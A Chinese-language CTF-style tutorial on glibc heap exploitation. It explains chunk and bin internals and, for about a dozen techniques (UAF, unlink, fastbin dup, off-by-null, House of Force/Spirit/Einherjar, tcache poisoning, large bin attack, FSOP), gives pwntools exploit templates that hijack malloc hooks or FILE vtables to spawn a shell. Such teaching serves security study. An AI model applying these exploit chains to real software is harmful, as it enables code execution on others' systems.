1. 堆
Chunk 的结构
在内存中,堆是以 Chunk(堆块)为单位存在的。用户申请的数据区域(User Data)前面,总有一个头部(Header)来记录元数据。
prev_size: 前一个 Chunk 的大小(如果前一个 Chunk 空闲)。
size: 当前 Chunk 的大小(低 3 位用于标志位:A-Allocated Arena, M-Mmaped, P-Prev Inuse)。
fd / bk: 前向/后向指针(仅在 Chunk 被释放进 Bin 后有效,复用 User Data 区域)。
Bins (垃圾回收站)
释放的 Chunk 不会立即归还系统,而是进入 Bin 链表中暂存,等待下次 malloc 复用。
Tcache (Thread Local Cache): Glibc 2.26+ 引入。单链表,LIFO(后进先出),每个线程独有,优先级最高,没有安全检查(早期版本)。
Fastbin: 单链表,LIFO,用于小内存,速度快。
Unsorted Bin: 双向链表,FIFO,暂存刚刚释放(且未被 Tcache/Fastbin 收录)的 Chunk。这是泄露 Libc 地址的宝地。
Small / Large Bin: 双向链表,用于存放更稳定的大块内存。
2. Use After Free (UAF)
核心成因:程序调用 free(ptr) 释放了内存,但没有将指针 ptr 置为 NULL。 利用后果:
悬挂指针(Dangling Pointer):
ptr依然指向那块内存。内存复用:如果我们申请一块新内存(大小相同),分配器会把刚刚释放的那块内存分配给我们。
篡改逻辑:此时,
ptr指向的数据实际上已经被新的对象覆盖了。如果原程序通过ptr调用函数(如 C++ 虚表),我们就可以篡改函数指针劫持控制流。
from pwn import *
# 假设 add, delete, show, edit 是题目封装好的交互函数
def uaf_exploit():
# 1. 申请 Chunk A
add(0x20, b"AAAA") # Index 0
# 2. 释放 Chunk A,但 Index 0 的指针未清空
delete(0)
# 3. 申请 Chunk B (大小相同),系统会复用 Chunk A 的内存
# 此时 Index 0 和 Index 1 指向同一块内存
backdoor = 0x0804863a
add(0x20, p64(backdoor)) # Index 1, 写入后门地址
# 4. 触发:调用 Index 0 的函数(实际上已经被 Index 1 修改)
# p.sendline(b'call_func_pointer')
3. Unlink
Unlink 是堆块在进行合并(Consolidate)时执行的一个宏,用于将一个空闲 chunk 从双向链表中“解绑”。 核心机制:FD->bk = BK; BK->fd = FD; 利用条件:虽然现代 Glibc 加入了 FD->bk == P && BK->fd == P 的检查,但在某些场景(如有一个指向 chunk 的指针 ptr 存放在已知位置)下,我们依然可以伪造 FD 和 BK 来绕过检查。 后果:通过精心构造,可以实现任意地址写(通常是覆盖存放堆指针的数组,将其指向 GOT 表等)。
绕过现代检查版脚本
def unlink_exploit():
# 前提:我们有一个指针数组 heap_ptr_array 存放了所有 chunk 的地址
# 目标:劫持 heap_ptr_array[0],使其指向 heap_ptr_array 自身,从而实现任意读写
# 1. 申请两个 chunk:A (Small Bin大小) 和 B
add(0x80, b"A") # Index 0
add(0x80, b"B") # Index 1
# 2. 在 Chunk A 中伪造一个 Fake Chunk
# 绕过检查的核心:
# FD = &heap_ptr_array[0] - 0x18
# BK = &heap_ptr_array[0] - 0x10
target_addr = 0x6020c0 # 假设这是 heap_ptr_array[0] 的地址
fake_fd = target_addr - 0x18
fake_bk = target_addr - 0x10
payload = p64(0) + p64(0x80) # Fake Prev_Size & Size
payload += p64(fake_fd) + p64(fake_bk)
payload += b'A' * (0x80 - 0x20)
payload += p64(0x80) + p64(0x90) # 覆盖 Chunk B 的 prev_size 和 size (去掉 P 位)
# 3. 编辑 Chunk A,写入 Payload,并溢出修改 Chunk B 的头部
edit(0, payload)
# 4. 释放 Chunk B
# 触发 Chunk B 向前合并(Consolidate Backward)
# 触发 Unlink(Fake_Chunk),导致 heap_ptr_array[0] = heap_ptr_array[0] - 0x18
delete(1)
# 5. 现在 heap_ptr_array[0] 指向了它自己附近,通过编辑 Index 0 即可修改数组内容
4. Fastbin Attack (Double Free)
在 Tcache 引入之前(或 Chunk 大小超出 Tcache 范围但小于 Fastbin 阈值时),Fastbin 是主要利用对象。 机制:单链表 LIFO。 检查:free(p) 时,只检查当前 Fastbin 链表的第一个节点是否等于 p。 绕过:如果释放顺序是 A -> B -> A,则第二次释放 A 时,链表头部是 B,检查通过。 后果:Fastbin 链表变成 A -> B -> A。当我们申请三次,就能分别拿到 A, B, A。利用最后一次 A,我们可以修改其 fd 指针指向任意地址(如 __malloc_hook 附近),从而实现任意地址分配。
def fastbin_double_free():
# 1. 申请两个 chunk
add(0x60, b"A") # chunk 0
add(0x60, b"B") # chunk 1
# 2. 构造 Double Free: A -> B -> A
delete(0)
delete(1)
delete(0)
# 3. 第一次申请 A,修改 fd 指向伪造的 chunk 地址
# 注意:目标地址处必须有一个伪造的 size 字段(如 0x7f),通过错位构造
fake_chunk_addr = libc.symbols['__malloc_hook'] - 0x23
add(0x60, p64(fake_chunk_addr)) # index 2 (A)
# 4. 清空链表中的 B 和 A
add(0x60, b"B_data") # index 3 (B)
add(0x60, b"A_data") # index 4 (A)
# 5. 下一次申请,将获得 fake_chunk_addr 处的内存
# 此时可以覆盖 __malloc_hook 为 one_gadget
add(0x60, b"A" * 0x13 + p64(one_gadget))
5. Off-by-One (Overlapping Chunk)
成因:程序在读取输入时,多读入了一个字节(通常是 null byte,即 \x00)。 利用:malloc 分配的 chunk 是复用的,当前 chunk 的数据区可能紧贴着下一个 chunk 的头部。
如果我们可以溢出一个字节到下一个 chunk 的
size字段。将
size的最低位(prev_inuse)覆盖为 0。后果:下一个 chunk 会认为“我前面的 chunk 是空闲的”。当下一个 chunk 被释放时,它会尝试向后合并(Consolidate backward),吞噬掉原本正在使用的 chunk,造成堆块重叠(Overlapping Chunk)。
def off_by_null_exploit():
# 1. 布局:A (0x100) | B (0x68) | C (0x100)
# C 用来防止 Top Chunk 合并,B 是我们将要利用 Off-by-null 吞噬的块
add(0xf0, b"A") # 0
add(0x60, b"B") # 1
add(0xf0, b"C") # 2
# 2. 释放 A,使其进入 Unsorted Bin
delete(0)
# 3. 关键:向 B 写入数据时,溢出一个 \x00 到 C 的 size 域
# C 的 prev_size 域原本应该是 0 (因为 B 被认为在使用中)
# 我们利用 Off-by-null 将 C 的 prev_inuse 位置 0,并伪造 prev_size
# 这里的 payload 需要精细计算
add(0x60, b"B" * 0x50 + p64(0x100 + 0x70)) # 伪造 prev_size = size(A)+size(B)
# 4. 释放 C
# C 发现 prev_inuse=0,检查 prev_size,发现是 A+B 的大小
# 于是 C 向前合并,吞噬了正在使用的 B!
delete(2)
# 5. 现在我们再次申请内存,就可以覆盖 B 的内容,控制其指针
6. House of Spirit (伪造堆块)
House of Spirit 是一种不需要堆溢出,只需要控制一个指针即可实现的攻击。 核心思想:我们在栈上(Stack)或其他可控区域伪造一个 Fake Chunk,然后将这个 Fake Chunk 的地址传给 free()。 后果:系统会认为这个栈上的地址是合法的空闲 chunk,将其加入 Fastbin/Tcache。下次申请内存时,就会返回这个栈地址,从而实现任意地址分配(从堆劫持到栈)。
def house_of_spirit():
# 1. 在栈上构造 Fake Chunk
# 注意:需要构造两个 chunk,第二个用来通过 free 的 size 检查
fake_chunk = flat([
0, 0x60, # Fake Chunk 1: Prev_size, Size (0x60)
b'A' * 0x50, # Data
0, 0x1234 # Fake Chunk 2: Size (只需要合法的 size 即可)
])
# 假设我们能控制栈上的某个变量,或者直接读入数据到栈
# 并且有一个漏洞可以 free(栈地址)
# 2. 将 fake_chunk 的地址(+0x10,指向 user data)传给 free
# free(stack_addr + 0x10)
# 3. 再次申请 0x60 大小的 chunk
# malloc(0x50) -> 系统返回栈上的地址!
# 此时我们可以覆盖栈上的返回地址(Ret Addr)为 One Gadget
add(0x50, b"payload")
7. Unsorted Bin Leak (泄露 Libc)
如何知道 libc 的基地址?
当一个 Chunk 被释放进入 Unsorted Bin 时,它的
fd和bk指针会指向 Unsorted Bin 的头部。这个头部位于
main_arena中,而main_arena位于 libc.so 的数据段。利用条件:
释放一个较大的 Chunk(> 0x420,或者填满 Tcache 后释放)。
利用 UAF(悬挂指针)打印该 Chunk 的内容。
读取到的
fd指针就是main_arena + offset。
def leak_libc():
# 1. 填满 Tcache (Glibc 2.27+ 需要先填满 7 个)
for i in range(7):
add(0x80, b"fill")
delete(i)
# 2. 申请并释放一个大 Chunk 进入 Unsorted Bin
add(0x80, b"leak_chunk") # Index 7
add(0x20, b"guard") # Index 8 (防止与 Top Chunk 合并)
delete(7)
# 3. 利用 UAF 读取 Index 7 的 fd 指针
show(7)
leaked_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# 4. 计算 Libc Base
# 0x3ebca0 是 __malloc_hook + 0x10 或 main_arena 偏移,需调试确定
libc_base = leaked_addr - 0x3ebca0
log.success(f"Libc Base: {hex(libc_base)}")
8. House of Force (Top Chunk Exploit)
这是一招古老但针对性极强的剑法(适用于无 Tcache 且 Top Chunk size 未检查的版本)。 核心:利用溢出修改 Top Chunk 的 Size 为一个超大值(如 0xffffffffffffffff)。 利用:
修改 Top Chunk Size 为 -1 (0xff...ff)。
申请一个巨大的 chunk(通过计算偏移),使得 Top Chunk 指针直接跳转到我们想要的目标地址(如
__malloc_hook)之前。再次申请一个小 chunk,就可以直接在目标地址写入数据。
def house_of_force():
# 1. 假设我们可以溢出修改 Top Chunk 的 size
# 比如通过 heap overflow 修改 top chunk size 为 0xffffffffffffffff
payload = b"A" * offset + p64(0xffffffffffffffff)
edit(0, payload)
# 2. 计算距离:目标地址 - 当前 Top Chunk 地址 - 头部大小
malloc_hook = libc.symbols['__malloc_hook']
distance = malloc_hook - top_chunk_addr - 0x20
# 3. 申请巨大块,移动 Top Chunk 指针
add(distance, b"move_top")
# 4. 再次申请,写入目标
add(0x20, p64(one_gadget)) # 覆盖 __malloc_hook
9. Tcache Poisoning (任意地址写)
Tcache 是现代 Heap 利用的神器。它是单链表结构,且在早期版本(glibc < 2.29)中缺乏 Double Free 检查。
攻击链:
Double Free:释放同一个 Chunk 两次。Tcache 链表变成
A -> A -> ...。Poisoning:下次申请到 A 时,修改其
fd指针指向目标地址(如__free_hook)。Arbitrary Alloc:再次申请,Tcache 会认为链表下一个节点是
__free_hook,从而将其分配给我们。Get Shell:向
__free_hook写入system地址。下次调用free("/bin/sh")等同于system("/bin/sh")。
(注:Glibc 2.29+ 增加了 Key 检查,Double Free 变难,通常改用 UAF 修改 fd 指针)
10. Large Bin Attack (写任意地址)
利用点:当一个 Chunk 从 Unsorted Bin 被移动到 Large Bin,或者 Large Bin 进行整理时,会使用 bk_nextsize 和 fd_nextsize 指针。 核心:如果我们能控制 Large Bin 中某个 Chunk 的 bk_nextsize 指针(例如通过 UAF),我们就能让分配器将该 Chunk 的地址写入到 Target_Addr - 0x20 的位置。 应用:通常用于将一个堆地址写入 _IO_list_all,从而劫持 FILE 结构体流进行 FSOP。
def large_bin_attack():
# 前提:创造 Large Bin 中有 chunk,Unsorted Bin 中有比它大的 chunk
# 1. 申请一个 Large Chunk A,并将其放入 Large Bin
add(0x420, b"A") # Index 0
add(0x20, b"guard") # Index 1
delete(0)
# 此时 A 在 Unsorted Bin,申请一个更大的块触发整理
add(0x430, b"Trigger") # Index 2 -> A 进入 Large Bin
# 2. 申请 Chunk B (仍在 Unsorted Bin 中,需比 A 大)
delete(2) # 释放 Index 2 (0x430) 到 Unsorted Bin
# 3. 利用 UAF 修改 Large Bin 中 Chunk A 的 bk_nextsize
# 目标:将 A 的地址写入 target_addr
target_addr = libc.symbols['_IO_list_all'] - 0x20
edit(0, p64(0)*3 + p64(target_addr)) # 修改 A->bk_nextsize (偏移需计算)
# 4. 申请一个 chunk,触发 Unsorted Bin 整理
# 分配器会将 B 放入 Large Bin,期间触发利用
add(0x60, b"trigger")
# 结果:_IO_list_all 被覆盖为 &A
11. House of Einherjar (强制堆合并)
House of Einherjar 利用了 Top Chunk(或普通 Chunk)的向后合并机制。 核心:通过 Off-by-one 溢出,将 Top Chunk 的 prev_inuse 位(P位)清除为 0,并伪造 prev_size。 利用:
在栈上或堆的低地址处伪造一个 Fake Chunk。
溢出修改 Top Chunk,使其认为前一个 chunk(即我们的 Fake Chunk)是空闲的,且大小为
Top - Fake。调用
malloc申请大内存触发sysmalloc(或整理机制),分配器会将 Top Chunk 与前面的 Fake Chunk 合并。结果:Top Chunk 指针被移动到了 Fake Chunk 的位置(栈上),下次申请即可控制该区域。
def house_of_einherjar():
# 1. 在栈上准备 Fake Chunk (目标地址)
target = stack_addr
# Fake Chunk 需要简单的 size 字段
# 2. 申请 Chunk A,它是 Top Chunk 的邻居
add(0x20, b"A")
# 3. 溢出 A,修改 Top Chunk 的头部
# 计算距离:Top Chunk Addr - Target Addr
prev_size = top_chunk_addr - target
# Off-by-one: 写入 prev_size 并覆盖 Top Chunk size 的 P 位为 0
payload = b"A" * 0x20 + p64(prev_size) # 填充 A 并写入 prev_size
# 注意:这里隐式利用了 edit 函数会在末尾写入 \x00 或者我们能控制写入
# 使得 Top Chunk Size 从 0x20X01 变为 0x20X00
edit(0, payload)
# 4. 申请大块内存,触发合并
add(0x1000, b"Trigger")
# 5. Top Chunk 现在指向了 target (stack_addr),再次申请即可任意写
add(0x100, b"Payload")
12. FSOP / IO_FILE (高版本大杀器)
在 Glibc 2.34+ 移除了 __malloc_hook 和 __free_hook 后,FSOP (File Stream Oriented Programming) 成为了主流。 核心:劫持 _IO_list_all 链表,或者覆盖 stdout / stdin 结构体。 利用:
伪造一个
_IO_FILE结构体。将其
vtable指针指向我们伪造的虚表(Fake Vtable)。伪造虚表中的
_IO_overflow或_IO_finish函数指针为system。当程序调用
exit()或进行 IO 操作时,触发伪造的函数指针。
def fsop_exploit():
# 使用 Pwntools 的 FileStructure 快速构造
fake_file = FileStructure()
fake_file.flags = 0x3b01010101010101 # "/bin/sh" 头部
fake_file._IO_read_ptr = libc.symbols['system'] # 有些利用利用这个传参
# 伪造 vtable
fake_vtable = flat([
0, 0, # ... 填充
libc.symbols['system'] # _IO_overflow 位置
])
# 将 fake_file 写入堆中已知位置
# 劫持 _IO_list_all 指向 fake_file (通过 Large Bin Attack 等)
# 触发 exit(),系统会遍历 _IO_list_all 并调用 vtable 函数
13. Tcache Stashing Unlink (分配任意地址)
利用点:当 calloc 分配内存时,如果不从 Tcache 取,会从 Small Bin 取。如果 Small Bin 中有 chunk,calloc 会尝试将 Small Bin 中剩余的 chunk 放入 Tcache(Stash 机制)。 攻击:
构造 Small Bin 中有两个 chunk:
A -> B。控制
B的bk指针,指向Fake_Addr。触发
calloc分配 A。分配器看到 B,决定把 B 放入 Tcache。同时,它会继续把
B->bk(即Fake_Addr) 也放入 Tcache。结果:
Fake_Addr被链接到了 Tcache 链表中。下次malloc就能分配到Fake_Addr。
def tcache_stashing_unlink():
# 前提:Tcache 有空位,Small Bin 有 A, B
# 1. 劫持 B->bk
# 目标:将 stack_var_addr 分配出来
target = stack_var_addr
edit_b_bk(target)
# 2. 调用 calloc (跳过 Tcache 直接看 Bin)
calloc(1, 0x100)
# 3. 此时 target 已经被放入 Tcache 列表
malloc(0x100) # 拿走 B
malloc(0x100) # 拿到 target (stack_var_addr)